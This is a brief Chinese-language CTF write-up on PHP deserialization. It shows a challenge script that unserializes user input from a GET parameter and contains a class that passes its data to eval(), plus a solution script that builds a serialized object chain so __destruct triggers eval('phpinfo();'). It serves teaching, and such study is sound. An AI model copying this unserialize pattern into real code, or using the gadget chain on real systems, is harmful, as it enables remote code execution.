当前位置:网站首页>PHP Serialization: eval
PHP Serialization: eval
2022-07-31 13:08:00 【Little dragon in shandong】
题目
<?php
highlight_file(__FILE__);
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj = new normal();
}
function __destruct(){
$this->ClassObj->action();
}
}
class normal{
function action(){
echo "hello";
}
}
class evil{
private $data;
function action(){
eval($this->data);
}
}
unserialize($_GET['d']);
?>
解题思路:通过传入d参数,The parameter is the serialized string,Used to call magic methods__destruct,然后调用evil的action,to executeeval.
wp
生成序列化字符串:
<?php
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj = new evil();
}
}
class evil{
private $data = "phpinfo();";
}
$test = new lemon();
echo urlencode(serialize($test));

边栏推荐
猜你喜欢

Architecture Camp | Module 8

Centos7 install mysql5.7 steps (graphical version)

centos7安装mysql5.7步骤(图解版)

一文吃透哈希表

networkx绘制度分布

ERROR 2003 (HY000) Can‘t connect to MySQL server on ‘localhost3306‘ (10061)
尚硅谷–MySQL–基础篇(P1~P95)

365-day challenge LeetCode1000 questions - Day 044 Maximum element in the layer and level traversal

攻防演练丨赛宁红方管控平台走进广东三地 助力数字政府网络安全建设

ASM module in SAP Ecommerce Cloud Spartacus UI and Accelerator UI
随机推荐
PartImageNet物体部件分割(Semantic Part Segmentation)数据集介绍
手撕Verilog PWM呼吸灯
基于神经网络的多柔性梁耦合结构振动控制
SAP message TK 248 solved
基本语法(一)
365天挑战LeetCode1000题——Day 044 最大层内元素和 层次遍历
ERROR 1064 (42000) You have an error in your SQL syntax; check the manual that corresponds to your
使用openssl命令生成证书和对应的私钥,私钥签名,公钥验签
NPM 使用介绍
聊聊 SAP 产品 UI 上的消息显示机制
anaconda虚拟环境安装pytorch gpu版本
SAP 电商云 Spartacus UI 和 Accelerator UI 里的 ASM 模块
生产力工具和插件
ECCV2022:在Transformer上进行递归,不增参数,计算量还少!
0X7FFFFFFF,0X80000000「建议收藏」
电脑重要文件很多,如何备份比较安全?
JSP response对象简介说明
365-day challenge LeetCode1000 questions - Day 044 Maximum element in the layer and level traversal
Selenium自动化测试之Selenium IDE
PyQt5快速开发与实战 10.1 获取城市天气预报